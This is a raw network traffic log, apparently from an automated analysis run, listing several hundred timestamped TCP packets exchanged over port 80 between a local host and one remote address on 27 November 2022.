Nov 27, 2022 04:36:39.933859110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.933875084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.933902025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.933944941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.933959007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.933990955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934051037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.934580088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934627056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934669018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934683084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.934711933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934752941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.934767008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.935611963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.935657024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.935673952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.935700893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.935745955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.935765028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.935786963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.935842991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.936502934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.936547041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.936589956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.936604023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.936634064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.936676025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.936691999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.946140051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946202993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946245909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946268082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.946290970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946320057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.946335077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946377039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946397066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.946420908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946485043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.946950912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.946993113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947033882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947047949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.947078943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947120905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947132111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.947165012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947207928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947220087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.947249889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947283030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.947310925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.948374033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948417902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948446035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.948462009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948508024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948520899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.948553085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948596954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948616982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.948640108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.948702097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.949239969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949284077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949325085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949341059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.949369907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949412107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949431896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.949455023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949497938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949515104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.949541092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.949603081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.950799942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.950845003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.950907946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.951577902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951622963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951666117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951683044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.951708078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951750040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951766968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.951793909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951836109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951853037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.951879025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.951939106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.952594042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953504086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953547955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953596115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.953615904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953658104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953674078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.953700066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953741074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953754902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.953784943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953840017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.953855038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.963526011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.963577032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.963618994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.963665962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.963985920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.964298964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964343071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964385986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964427948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964457989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.964471102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964514971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964560032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964606047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964651108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964689016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.964694977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964739084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964781046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964823961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964855909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.964915991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.965019941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966357946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966403008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966434956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966475010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966517925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966546059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966559887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966605902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966624022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966648102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966707945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966789961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966834068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966866016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966896057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966947079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.966968060 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.966989040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.967031002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.967067957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.967072964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.967117071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.967154980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970266104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970325947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970369101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970412016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970453978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970454931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970487118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970494986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970523119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970669031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970712900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970736980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970753908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970797062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970814943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.970840931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970912933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970956087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.970969915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971013069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971023083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971055031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971096039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971117020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971138000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971180916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971199036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971221924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971262932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971277952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971303940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971347094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971369028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971390963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971431971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971455097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971529007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971571922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971595049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971615076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971657991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971678972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971700907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971767902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971810102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971810102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971853018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971868992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971894026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971935987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.971952915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.971976042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972017050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972028971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972057104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972095966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972111940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972136021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972176075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972191095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972217083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972258091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972274065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972523928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972565889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972609043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972611904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972650051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972671986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972691059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972731113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972744942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.972770929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972814083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.972826958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.973524094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973566055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973606110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.973608017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973649025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973669052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.973690033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973730087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973742962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.973771095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973812103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.973854065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.974399090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974473000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.974474907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974517107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974560022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974575043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.974602938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974642992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974657059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.974684000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974724054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974733114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.974766016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.974817038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.975398064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975440979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975481033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975496054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.975522041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975562096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975569963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.975605965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975647926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975653887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.975688934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.975743055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976324081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976366997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976408005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976418972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976449013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976489067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976495981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976530075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976569891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976577997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976622105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.976663113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976694107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.976814032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.977220058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.983935118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.983982086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984009981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984040022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984069109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984077930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.984102011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984128952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.984131098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984159946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984189987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984195948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.984219074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984232903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.984249115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984293938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.984935999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.984968901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985001087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985022068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985030890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985061884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985076904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985091925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985121965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985133886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985151052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985196114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985847950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985879898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985908985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985939026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985958099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985970020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.985991955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.985999107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986027956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986047983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.986057043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986104012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.986738920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986783981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986824036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986839056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.986865044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986912012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.986922979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.986962080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987001896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987004995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.987041950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987087011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.987617970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987660885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987703085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987710953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.987745047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987786055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987787962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.987827063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987867117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.987869024 CET	49705	80	192.168.2.5	66.235.200.147
